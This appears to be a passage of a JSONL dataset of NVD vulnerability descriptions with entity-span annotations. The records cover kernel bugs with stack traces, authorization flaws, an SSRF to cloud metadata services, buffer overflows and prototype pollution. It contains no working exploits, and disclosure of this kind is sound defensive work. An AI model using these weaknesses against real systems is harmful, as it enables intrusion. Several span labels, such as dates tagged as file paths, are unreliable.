66 0f 1f 84 00 00 00 00 00 80 3d 41 33 0e 00 00 74 17 31 c0 0f 05 <48> 3d 00 f0 ff ff 77 5b c3 66 2e 0f 1f 84 00 00 00 00 00 48 83 ec\n[   81.363113] RSP: 002b:00007ffca127dd48 EFLAGS: 00000246 ORIG_RAX: 0000000000000000\n[   81.363120] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f281906029d\n[   81.363122] RDX: 0000000000001000 RSI: 0000559f8bfae000 RDI: 0000000000000000\n[   81.363123] RBP: 0000000000001000 R08: 0000002863a10a81 R09: 00007f281915f000\n[   81.363124] R10: 00007f2818f77b60 R11: 0000000000000246 R12: 0000559f8bfae000\n[   81.363126] R13: 0000000000000000 R14: 0000000000000000 R15: 000000000000000a\n[   81.363142]  </TASK>\n\nThe same BUG fires from blk_add_trace_plug(), blk_add_trace_unplug(),\nand blk_add_trace_rq() paths as well.\n\nThe purpose of tracin\n---truncated---", "spans": {"DOMAIN: rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org": [[1400, 1444], [2125, 2169]], "FILEPATH: /blktrace/002": [[752, 765]], "FILEPATH: /01/2014": [[1447, 1455], [2172, 2180]], "FILEPATH: /mnt/sda/blktests/results/nodev/blktrace/002.dmesg": [[1577, 1627]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1355, 1359], [2080, 2084]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23374"}}
{"text": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. All Argo CD versions starting with 2.3.0-rc1 and prior to 2.3.17, 2.4.23  2.5.11, and 2.6.2 are vulnerable to an improper authorization bug which allows users who have the ability to update at least one cluster secret to update any cluster secret. The attacker could use this access to escalate privileges (potentially controlling Kubernetes resources) or to break Argo CD functionality (by preventing connections to external clusters). A patch for this vulnerability has been released in Argo CD versions 2.6.2, 2.5.11, 2.4.23, and 2.3.17. Two workarounds are available. Either modify the RBAC configuration to completely revoke all `clusters, update` access, or use the `destinations` and `clusterResourceWhitelist` fields to apply similar restrictions as the `namespaces` and `clusterResources` fields.", "spans": {"SYSTEM: Kubernetes": [[62, 72], [405, 415]], "VULNERABILITY: improper authorization": [[187, 209]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-23947"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/ttm: fix undefined behavior in bit shift for TTM_TT_FLAG_PRIV_POPULATED\n\nShifting signed 32-bit value by 31 bits is undefined, so changing\nsignificant bit to unsigned. The UBSAN warning calltrace like below:\n\nUBSAN: shift-out-of-bounds in ./include/drm/ttm/ttm_tt.h:122:26\nleft shift of 1 by 31 places cannot be represented in type 'int'\nCall Trace:\n <TASK>\n dump_stack_lvl+0x7d/0xa5\n dump_stack+0x15/0x1b\n ubsan_epilogue+0xe/0x4e\n __ubsan_handle_shift_out_of_bounds+0x1e7/0x20c\n ttm_bo_move_memcpy+0x3b4/0x460 [ttm]\n bo_driver_move+0x32/0x40 [drm_vram_helper]\n ttm_bo_handle_move_mem+0x118/0x200 [ttm]\n ttm_bo_validate+0xfa/0x220 [ttm]\n drm_gem_vram_pin_locked+0x70/0x1b0 [drm_vram_helper]\n drm_gem_vram_pin+0x48/0xb0 [drm_vram_helper]\n drm_gem_vram_plane_helper_prepare_fb+0x53/0xe0 [drm_vram_helper]\n drm_gem_vram_simple_display_pipe_prepare_fb+0x26/0x30 [drm_vram_helper]\n drm_simple_kms_plane_prepare_fb+0x4d/0xe0 [drm_kms_helper]\n drm_atomic_helper_prepare_planes+0xda/0x210 [drm_kms_helper]\n drm_atomic_helper_commit+0xc3/0x1e0 [drm_kms_helper]\n drm_atomic_commit+0x9c/0x160 [drm]\n drm_client_modeset_commit_atomic+0x33a/0x380 [drm]\n drm_client_modeset_commit_locked+0x77/0x220 [drm]\n drm_client_modeset_commit+0x31/0x60 [drm]\n __drm_fb_helper_restore_fbdev_mode_unlocked+0xa7/0x170 [drm_kms_helper]\n drm_fb_helper_set_par+0x51/0x90 [drm_kms_helper]\n fbcon_init+0x316/0x790\n visual_init+0x113/0x1d0\n do_bind_con_driver+0x2a3/0x5c0\n do_take_over_console+0xa9/0x270\n do_fbcon_takeover+0xa1/0x170\n do_fb_registered+0x2a8/0x340\n fbcon_fb_registered+0x47/0xe0\n register_framebuffer+0x294/0x4a0\n __drm_fb_helper_initial_config_and_unlock+0x43c/0x880 [drm_kms_helper]\n drm_fb_helper_initial_config+0x52/0x80 [drm_kms_helper]\n drm_fbdev_client_hotplug+0x156/0x1b0 [drm_kms_helper]\n drm_fbdev_generic_setup+0xfc/0x290 [drm_kms_helper]\n bochs_pci_probe+0x6ca/0x772 [bochs]\n local_pci_probe+0x4d/0xb0\n pci_device_probe+0x119/0x320\n really_probe+0x181/0x550\n __driver_probe_device+0xc6/0x220\n driver_probe_device+0x32/0x100\n __driver_attach+0x195/0x200\n bus_for_each_dev+0xbb/0x120\n driver_attach+0x27/0x30\n bus_add_driver+0x22e/0x2f0\n driver_register+0xa9/0x190\n __pci_register_driver+0x90/0xa0\n bochs_pci_driver_init+0x52/0x1000 [bochs]\n do_one_initcall+0x76/0x430\n do_init_module+0x61/0x28a\n load_module+0x1f82/0x2e50\n __do_sys_finit_module+0xf8/0x190\n __x64_sys_finit_module+0x23/0x30\n do_syscall_64+0x58/0x80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n </TASK>", "spans": {"FILEPATH: /include/drm/ttm/ttm_tt.h": [[313, 338]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50390"}}
{"text": "OpenComputers is a Minecraft mod that adds programmable computers and robots to the game. This issue affects every version of OpenComputers with the Internet Card feature enabled; that is, OpenComputers 1.2.0 until 1.8.3 in their most common, default configurations. If the OpenComputers mod is installed as part of a Minecraft server hosted on a popular cloud hosting provider, such as AWS, GCP and Azure, those metadata services' API endpoints are not forbidden (aka \"blacklisted\") by default. As such, any player can gain access to sensitive information exposed via those metadata servers, potentially allowing them to pivot or privilege escalate into the hosting provider. In addition, IPv6 addresses are not correctly filtered at all, allowing broader access into the local IPv6 network. This can allow a player on a server using an OpenComputers computer to access parts of the private IPv4 address space, as well as the whole IPv6 address space, in order to retrieve sensitive information.\n\nOpenComputers v1.8.3 for Minecraft 1.7.10 and 1.12.2 contains a patch for this issue. Some workarounds are also available. One may disable the Internet Card feature completely. If using OpenComputers 1.3.0 or above, using the allow list (`opencomputers.internet.whitelist` option) will prohibit connections to any IP addresses and/or domains not listed; or one may add entries to the block list (`opencomputers.internet.blacklist` option). More information about mitigations is available in the GitHub Security Advisory.", "spans": {"ORGANIZATION: GitHub": [[1493, 1499]], "ORGANIZATION: AWS": [[387, 390]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37261"}}
{"text": "Due to an improper Initialization vulnerability on Juniper Networks Junos OS QFX5100-96S devices with QFX 5e Series image installed, ddos-protection configuration changes will not take effect beyond the default DDoS (Distributed Denial of Service) settings when configured from the CLI. The DDoS protection (jddosd) daemon allows the device to continue to function while protecting the packet forwarding engine (PFE) during the DDoS attack. When this issue occurs, the default DDoS settings within the PFE apply, as CPU bound packets will be throttled and dropped in the PFE when the limits are exceeded. To check if the device has this issue, the administrator can execute the following command to monitor the status of DDoS protection: user@device> show ddos-protection protocols error: the ddos-protection subsystem is not running This issue affects only QFX5100-96S devices. No other products or platforms are affected by this issue. This issue affects: Juniper Networks Junos OS on QFX5100-96S: 17.3 versions prior to 17.3R3-S10; 17.4 versions prior to 17.4R3-S4; 18.1 versions prior to 18.1R3-S10; 18.2 versions prior to 18.2R3-S3; 18.3 versions prior to 18.3R3-S2; 18.4 versions prior to 18.4R2-S4, 18.4R3-S1; 19.1 versions prior to 19.1R3, 19.1R3-S4; 19.2 versions prior to 19.2R2; 19.3 versions prior to 19.3R3; 19.4 versions prior to 19.4R2;", "spans": {"ORGANIZATION: Juniper": [[51, 58], [958, 965]], "VULNERABILITY: Denial of Service": [[229, 246]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0234"}}
{"text": "The Visualizations component of TIBCO Software Inc.'s TIBCO Spotfire Analyst, TIBCO Spotfire Analyst, TIBCO Spotfire Analyst, TIBCO Spotfire Analytics Platform for AWS Marketplace, TIBCO Spotfire Desktop, TIBCO Spotfire Desktop, TIBCO Spotfire Desktop, TIBCO Spotfire Server, TIBCO Spotfire Server, and TIBCO Spotfire Server contains an easily exploitable vulnerability that allows a low privileged attacker with network access to execute Stored Cross Site Scripting (XSS) on the affected system. A successful attack using this vulnerability requires human interaction from a person other than the attacker. Affected releases are TIBCO Software Inc.'s TIBCO Spotfire Analyst: versions 11.4.4 and below, TIBCO Spotfire Analyst: versions 11.5.0, 11.6.0, 11.7.0, 11.8.0, 12.0.0, and 12.0.1, TIBCO Spotfire Analyst: version 12.1.0, TIBCO Spotfire Analytics Platform for AWS Marketplace: versions 12.1.0 and below, TIBCO Spotfire Desktop: versions 11.4.4 and below, TIBCO Spotfire Desktop: versions 11.5.0, 11.6.0, 11.7.0, 11.8.0, 12.0.0, and 12.0.1, TIBCO Spotfire Desktop: version 12.1.0, TIBCO Spotfire Server: versions 11.4.8 and below, TIBCO Spotfire Server: versions 11.5.0, 11.6.0, 11.6.1, 11.6.2, 11.6.3, 11.7.0, 11.8.0, 11.8.1, 12.0.0, and 12.0.1, and TIBCO Spotfire Server: version 12.1.0.", "spans": {"ORGANIZATION: AWS": [[164, 167], [866, 869]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-41558"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmpls: Use rcu_dereference_rtnl() in mpls_route_input_rcu().\n\nAs syzbot reported [0], mpls_route_input_rcu() can be called\nfrom mpls_getroute(), where is under RTNL.\n\nnet->mpls.platform_label is only updated under RTNL.\n\nLet's use rcu_dereference_rtnl() in mpls_route_input_rcu() to\nsilence the splat.\n\n[0]:\nWARNING: suspicious RCU usage\n6.15.0-rc7-syzkaller-00082-g5cdb2c77c4c3 #0 Not tainted\n ----------------------------\nnet/mpls/af_mpls.c:84 suspicious rcu_dereference_check() usage!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n1 lock held by syz.2.4451/17730:\n #0: ffffffff9012a3e8 (rtnl_mutex){+.+.}-{4:4}, at: rtnl_lock net/core/rtnetlink.c:80 [inline]\n #0: ffffffff9012a3e8 (rtnl_mutex){+.+.}-{4:4}, at: rtnetlink_rcv_msg+0x371/0xe90 net/core/rtnetlink.c:6961\n\nstack backtrace:\nCPU: 1 UID: 0 PID: 17730 Comm: syz.2.4451 Not tainted 6.15.0-rc7-syzkaller-00082-g5cdb2c77c4c3 #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/07/2025\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x16c/0x1f0 lib/dump_stack.c:120\n lockdep_rcu_suspicious+0x166/0x260 kernel/locking/lockdep.c:6865\n mpls_route_input_rcu+0x1d4/0x200 net/mpls/af_mpls.c:84\n mpls_getroute+0x621/0x1ea0 net/mpls/af_mpls.c:2381\n rtnetlink_rcv_msg+0x3c9/0xe90 net/core/rtnetlink.c:6964\n netlink_rcv_skb+0x16d/0x440 net/netlink/af_netlink.c:2534\n netlink_unicast_kernel net/netlink/af_netlink.c:1313 [inline]\n netlink_unicast+0x53a/0x7f0 net/netlink/af_netlink.c:1339\n netlink_sendmsg+0x8d1/0xdd0 net/netlink/af_netlink.c:1883\n sock_sendmsg_nosec net/socket.c:712 [inline]\n __sock_sendmsg net/socket.c:727 [inline]\n ____sys_sendmsg+0xa98/0xc70 net/socket.c:2566\n ___sys_sendmsg+0x134/0x1d0 net/socket.c:2620\n __sys_sendmmsg+0x200/0x420 net/socket.c:2709\n __do_sys_sendmmsg net/socket.c:2736 [inline]\n __se_sys_sendmmsg net/socket.c:2733 [inline]\n __x64_sys_sendmmsg+0x9c/0x100 net/socket.c:2733\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0x230 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f0a2818e969\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f0a28f52038 EFLAGS: 00000246 ORIG_RAX: 0000000000000133\nRAX: ffffffffffffffda RBX: 00007f0a283b5fa0 RCX: 00007f0a2818e969\nRDX: 0000000000000003 RSI: 0000200000000080 RDI: 0000000000000003\nRBP: 00007f0a28210ab1 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 0000000000000000 R14: 00007f0a283b5fa0 R15: 00007ffce5e9f268\n </TASK>", "spans": {"FILEPATH: /mpls/af_mpls.c": [[495, 510], [1313, 1328], [1363, 1378]], "FILEPATH: /core/rtnetlink.c": [[740, 757], [855, 872], [1418, 1435]], "FILEPATH: /07/2025": [[1089, 1097]], "FILEPATH: /locking/lockdep.c": [[1252, 1270]], "FILEPATH: /netlink/af_netlink.c": [[1473, 1494], [1527, 1548], [1595, 1616], [1654, 1675]], "FILEPATH: /x86/entry/syscall_64.c": [[2069, 2092], [2135, 2158]], "FILEPATH: dump_stack.c": [[1136, 1148], [1193, 1205]], "FILEPATH: socket.c": [[1705, 1713], [1747, 1755], [1802, 1810], [1848, 1856], [1894, 1902], [1931, 1939], [1977, 1985], [2035, 2043]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1023, 1029], [1030, 1036], [1052, 1058], [1080, 1086]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38324"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/iucv: MSG_PEEK causes memory leak in iucv_sock_destruct()\n\nPassing MSG_PEEK flag to skb_recv_datagram() increments skb refcount\n(skb->users) and iucv_sock_recvmsg() does not decrement skb refcount\nat exit.\nThis results in skb memory leak in skb_queue_purge() and WARN_ON in\niucv_sock_destruct() during socket close. To fix this decrease\nskb refcount by one if MSG_PEEK is set in order to prevent memory\nleak and WARN_ON.\n\nWARNING: CPU: 2 PID: 6292 at net/iucv/af_iucv.c:286 iucv_sock_destruct+0x144/0x1a0 [af_iucv]\nCPU: 2 PID: 6292 Comm: afiucv_test_msg Kdump: loaded Tainted: G        W          6.10.0-rc7 #1\nHardware name: IBM 3931 A01 704 (z/VM 7.3.0)\nCall Trace:\n        [<001587c682c4aa98>] iucv_sock_destruct+0x148/0x1a0 [af_iucv]\n        [<001587c682c4a9d0>] iucv_sock_destruct+0x80/0x1a0 [af_iucv]\n        [<001587c704117a32>] __sk_destruct+0x52/0x550\n        [<001587c704104a54>] __sock_release+0xa4/0x230\n        [<001587c704104c0c>] sock_close+0x2c/0x40\n        [<001587c702c5f5a8>] __fput+0x2e8/0x970\n        [<001587c7024148c4>] task_work_run+0x1c4/0x2c0\n        [<001587c7023b0716>] do_exit+0x996/0x1050\n        [<001587c7023b13aa>] do_group_exit+0x13a/0x360\n        [<001587c7023b1626>] __s390x_sys_exit_group+0x56/0x60\n        [<001587c7022bccca>] do_syscall+0x27a/0x380\n        [<001587c7049a6a0c>] __do_syscall+0x9c/0x160\n        [<001587c7049ce8a8>] system_call+0x70/0x98\n        Last Breaking-Event-Address:\n        [<001587c682c4a9d4>] iucv_sock_destruct+0x84/0x1a0 [af_iucv]", "spans": {"FILEPATH: /iucv/af_iucv.c": [[528, 543]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[700, 703]], "VULNERABILITY: memory leak": [[96, 107], [300, 311]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53210"}}
{"text": "Next.js is a React framework. Starting with version 12.0.0 and prior to version 12.0.9, vulnerable code could allow a bad actor to trigger a denial of service attack for anyone using i18n functionality. In order to be affected by this CVE, one must use next start or a custom server and the built-in i18n support. Deployments on Vercel, along with similar environments where invalid requests are filtered before reaching Next.js, are not affected. A patch has been released, `next@12.0.9`, that mitigates this issue. As a workaround, one may ensure `/${locale}/_next/` is blocked from reaching the Next.js instance until it becomes feasible to upgrade.", "spans": {"FILEPATH: Next.js": [[0, 7], [421, 428], [598, 605]], "VULNERABILITY: denial of service": [[141, 158]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21721"}}
{"text": "HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data using a variety of encodings and compression methods. When reading data encoded using the `BYTE_ARRAY_LEN` method, the `cram_byte_array_len_decode()` failed to validate that the amount of data being unpacked matched the size of the output buffer where it was to be stored. Depending on the data series being read, this could result either in a heap or a stack overflow with attacker-controlled bytes. Depending on the data stream this could result either in a heap buffer overflow or a stack overflow. If a user opens a file crafted to exploit this issue it could lead to the program crashing, overwriting of data structures on the heap or stack in ways not expected by the program, or changing the control flow of the program. It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.", "spans": {"VULNERABILITY: buffer overflow": [[607, 622]], "VULNERABILITY: code execution": [[921, 935]], "VULNERABILITY: stack overflow": [[496, 510], [628, 642]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31971"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw89: sar: drop lockdep assertion in rtw89_set_sar_from_acpi\n\nThe following assertion is triggered on the rtw89 driver startup. It\nlooks meaningless to hold wiphy lock on the early init stage so drop the\nassertion.\n\n WARNING: CPU: 7 PID: 629 at drivers/net/wireless/realtek/rtw89/sar.c:502 rtw89_set_sar_from_acpi+0x365/0x4d0 [rtw89_core]\n CPU: 7 UID: 0 PID: 629 Comm: (udev-worker) Not tainted 6.15.0+ #29 PREEMPT(lazy)\n Hardware name: LENOVO 21D0/LNVNB161216, BIOS J6CN50WW 09/27/2024\n RIP: 0010:rtw89_set_sar_from_acpi+0x365/0x4d0 [rtw89_core]\n Call Trace:\n  <TASK>\n  rtw89_sar_init+0x68/0x2c0 [rtw89_core]\n  rtw89_core_init+0x188e/0x1e50 [rtw89_core]\n  rtw89_pci_probe+0x530/0xb50 [rtw89_pci]\n  local_pci_probe+0xd9/0x190\n  pci_call_probe+0x183/0x540\n  pci_device_probe+0x171/0x2c0\n  really_probe+0x1e1/0x890\n  __driver_probe_device+0x18c/0x390\n  driver_probe_device+0x4a/0x120\n  __driver_attach+0x1a0/0x530\n  bus_for_each_dev+0x10b/0x190\n  bus_add_driver+0x2eb/0x540\n  driver_register+0x1a3/0x3a0\n  do_one_initcall+0xd5/0x450\n  do_init_module+0x2cc/0x8f0\n  init_module_from_file+0xe1/0x150\n  idempotent_init_module+0x226/0x760\n  __x64_sys_finit_module+0xcd/0x150\n  do_syscall_64+0x94/0x380\n  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nFound by Linux Verification Center (linuxtesting.org).", "spans": {"DOMAIN: linuxtesting.org": [[1351, 1367]], "FILEPATH: /net/wireless/realtek/rtw89/sar.c": [[328, 361]], "FILEPATH: /27/2024": [[554, 562]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[1324, 1329]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38647"}}
{"text": "MIT IdentiBot is an open-source Discord bot written in Node.js that verifies individuals' affiliations with MIT, grants them roles in a Discord server, and stores information about them in a database backend. A vulnerability that exists prior to commit 48e3e5e7ead6777fa75d57c7711c8e55b501c24e impacts all users who have performed verification with an instance of MIT IdentiBot that meets the following conditions: The instance of IdentiBot is tied to a \"public\" Discord application—i.e., users other than the API access registrant can add it to servers; *and* the instance has not yet been patched. In affected versions, IdentiBot does not check that a server is authorized before allowing members to execute slash and user commands in that server. As a result, any user can join IdentiBot to their server and then use commands (e.g., `/kerbid`) to reveal the full name and other information about a Discord user who has verified their affiliation with MIT using IdentiBot. The latest version of MIT IdentiBot contains a patch for this vulnerability (implemented in commit 48e3e5e7ead6777fa75d57c7711c8e55b501c24e). There is no way to prevent exploitation of the vulnerability without the patch. To prevent exploitation of the vulnerability, all vulnerable instances of IdentiBot should be taken offline until they have been updated.", "spans": {"HASH: 48e3e5e7ead6777fa75d57c7711c8e55b501c24e": [[253, 293], [1074, 1114]], "FILEPATH: Node.js": [[55, 62]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35237"}}
{"text": "ZRender is a lightweight graphic library providing 2d draw for Apache ECharts. In versions prior to 5.2.1, using `merge` and `clone` helper methods in the `src/core/util.ts` module results in prototype pollution. It affects the popular data visualization library Apache ECharts, which uses and exports these two methods directly. The GitHub Security Advisory page for this vulnerability contains a proof of concept. This issue is patched in ZRender version 5.2.1. One workaround is available: Check if there is `__proto__` in the object keys. Omit it before using it as an parameter in these affected methods. Or in `echarts.util.merge` and `setOption` if project is using ECharts.", "spans": {"FILEPATH: /core/util.ts": [[159, 172]], "ORGANIZATION: Apache": [[63, 69], [263, 269]], "ORGANIZATION: GitHub": [[334, 340]], "VULNERABILITY: prototype pollution": [[192, 211]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39227"}}
{"text": "OpenPGP.js is a JavaScript implementation of the OpenPGP protocol. In affected versions OpenPGP Cleartext Signed Messages are cryptographically signed messages where the signed text is readable without special tools. These messages typically contain a \"Hash: ...\" header declaring the hash algorithm used to compute the signature digest. OpenPGP.js up to v5.9.0 ignored any data preceding the \"Hash: ...\" texts when verifying the signature. As a result, malicious parties could add arbitrary text to a third-party Cleartext Signed Message, to lead the victim to believe that the arbitrary text was signed. A user or application is vulnerable to said attack vector if it verifies the CleartextMessage by only checking the returned `verified` property, discarding the associated `data` information, and instead _visually trusting_ the contents of the original message. Since `verificationResult.data` would always contain the actual signed data, users and apps that check this information are not vulnerable. Similarly, given a CleartextMessage object, retrieving the data using `getText()` or the `text` field returns only the contents that are considered when verifying the signature. Finally, re-armoring a CleartextMessage object (using `armor()` will also result in a \"sanitised\" version, with the extraneous text being removed. This issue has been addressed in version 5.10.1 (current stable version) which will reject messages when calling `openpgp.readCleartextMessage()` and in version 4.10.11 (legacy version) which will will reject messages when calling `openpgp.cleartext.readArmored()`. Users are advised to upgrade. Users unable to upgrade should check the contents of `verificationResult.data` to see what data was actually signed, rather than visually trusting the contents of the armored message.", "spans": {"FILEPATH: OpenPGP.js": [[0, 10], [338, 348]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-41037"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: fix calltrace warning in amddrm_buddy_fini\n\nThe following call trace is observed when removing the amdgpu driver, which\nis caused by that BOs allocated for psp are not freed until removing.\n\n[61811.450562] RIP: 0010:amddrm_buddy_fini.cold+0x29/0x47 [amddrm_buddy]\n[61811.450577] Call Trace:\n[61811.450577]  <TASK>\n[61811.450579]  amdgpu_vram_mgr_fini+0x135/0x1c0 [amdgpu]\n[61811.450728]  amdgpu_ttm_fini+0x207/0x290 [amdgpu]\n[61811.450870]  amdgpu_bo_fini+0x27/0xa0 [amdgpu]\n[61811.451012]  gmc_v9_0_sw_fini+0x4a/0x60 [amdgpu]\n[61811.451166]  amdgpu_device_fini_sw+0x117/0x520 [amdgpu]\n[61811.451306]  amdgpu_driver_release_kms+0x16/0x30 [amdgpu]\n[61811.451447]  devm_drm_dev_init_release+0x4d/0x80 [drm]\n[61811.451466]  devm_action_release+0x15/0x20\n[61811.451469]  release_nodes+0x40/0xb0\n[61811.451471]  devres_release_all+0x9b/0xd0\n[61811.451473]  __device_release_driver+0x1bb/0x2a0\n[61811.451476]  driver_detach+0xf3/0x140\n[61811.451479]  bus_remove_driver+0x6c/0xf0\n[61811.451481]  driver_unregister+0x31/0x60\n[61811.451483]  pci_unregister_driver+0x40/0x90\n[61811.451486]  amdgpu_exit+0x15/0x447 [amdgpu]\n\nFor smu v13_0_2, if the GPU supports xgmi, refer to\n\ncommit f5c7e7797060 (\"drm/amdgpu: Adjust removal control flow for smu v13_0_2\"),\n\nit will run gpu recover in AMDGPU_RESET_FOR_DEVICE_REMOVE mode when removing,\nwhich makes all devices in hive list have hw reset but no resume except the\nbasic ip blocks, then other ip blocks will not call .hw_fini according to\nip_block.status.hw.\n\nSince psp_free_shared_bufs just includes some software operations, so move\nit to psp_sw_fini.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53152"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nDrivers: hv: vmbus: Don't dereference ACPI root object handle\n\nSince the commit referenced in the Fixes: tag below the VMBus client driver\nis walking the ACPI namespace up from the VMBus ACPI device to the ACPI\nnamespace root object trying to find Hyper-V MMIO ranges.\n\nHowever, if it is not able to find them it ends trying to walk resources of\nthe ACPI namespace root object itself.\nThis object has all-ones handle, which causes a NULL pointer dereference\nin the ACPI code (from dereferencing this pointer with an offset).\n\nThis in turn causes an oops on boot with VMBus host implementations that do\nnot provide Hyper-V MMIO ranges in their VMBus ACPI device or its\nancestors.\nThe QEMU VMBus implementation is an example of such implementation.\n\nI guess providing these ranges is optional, since all tested Windows\nversions seem to be able to use VMBus devices without them.\n\nFix this by explicitly terminating the lookup at the ACPI namespace root\nobject.\n\nNote that Linux guests under KVM/QEMU do not use the Hyper-V PV interface\nby default - they only do so if the KVM PV interface is missing or\ndisabled.\n\nExample stack trace of such oops:\n[ 3.710827] ? __die+0x1f/0x60\n[ 3.715030] ? page_fault_oops+0x159/0x460\n[ 3.716008] ? exc_page_fault+0x73/0x170\n[ 3.716959] ? asm_exc_page_fault+0x22/0x30\n[ 3.717957] ? acpi_ns_lookup+0x7a/0x4b0\n[ 3.718898] ? acpi_ns_internalize_name+0x79/0xc0\n[ 3.720018] acpi_ns_get_node_unlocked+0xb5/0xe0\n[ 3.721120] ? acpi_ns_check_object_type+0xfe/0x200\n[ 3.722285] ? acpi_rs_convert_aml_to_resource+0x37/0x6e0\n[ 3.723559] ? down_timeout+0x3a/0x60\n[ 3.724455] ? acpi_ns_get_node+0x3a/0x60\n[ 3.725412] acpi_ns_get_node+0x3a/0x60\n[ 3.726335] acpi_ns_evaluate+0x1c3/0x2c0\n[ 3.727295] acpi_ut_evaluate_object+0x64/0x1b0\n[ 3.728400] acpi_rs_get_method_data+0x2b/0x70\n[ 3.729476] ? vmbus_platform_driver_probe+0x1d0/0x1d0 [hv_vmbus]\n[ 3.730940] ? vmbus_platform_driver_probe+0x1d0/0x1d0 [hv_vmbus]\n[ 3.732411] acpi_walk_resources+0x78/0xd0\n[ 3.733398] vmbus_platform_driver_probe+0x9f/0x1d0 [hv_vmbus]\n[ 3.734802] platform_probe+0x3d/0x90\n[ 3.735684] really_probe+0x19b/0x400\n[ 3.736570] ? __device_attach_driver+0x100/0x100\n[ 3.737697] __driver_probe_device+0x78/0x160\n[ 3.738746] driver_probe_device+0x1f/0x90\n[ 3.739743] __driver_attach+0xc2/0x1b0\n[ 3.740671] bus_for_each_dev+0x70/0xc0\n[ 3.741601] bus_add_driver+0x10e/0x210\n[ 3.742527] driver_register+0x55/0xf0\n[ 3.744412] ? 0xffffffffc039a000\n[ 3.745207] hv_acpi_init+0x3c/0x1000 [hv_vmbus]", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Windows": [[878, 885]], "SYSTEM: Linux": [[1039, 1044]], "SYSTEM: QEMU": [[752, 756], [1062, 1066]], "SYSTEM: KVM": [[1058, 1061], [1139, 1142]], "VULNERABILITY: NULL pointer dereference": [[502, 526]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53647"}}
{"text": "CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. A critical heap buffer overflow vulnerability was identified in the `Crypto_AOS_ProcessSecurity` function of CryptoLib versions 1.3.3 and prior. This vulnerability allows an attacker to trigger a Denial of Service (DoS) or potentially execute arbitrary code (RCE) by providing a maliciously crafted AOS frame with an insufficient length. The vulnerability lies in the function `Crypto_AOS_ProcessSecurity`, specifically during the processing of the Frame Error Control Field (FECF). The affected code attempts to read from the `p_ingest` buffer at indices `current_managed_parameters_struct.max_frame_size - 2` and `current_managed_parameters_struct.max_frame_size - 1` without verifying if `len_ingest` is sufficiently large. This leads to a heap buffer overflow when `len_ingest` is smaller than `max_frame_size`. As of time of publication, no known patched versions exist.", "spans": {"VULNERABILITY: Denial of Service": [[427, 444]], "VULNERABILITY: buffer overflow": [[247, 262], [979, 994]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-29911"}}
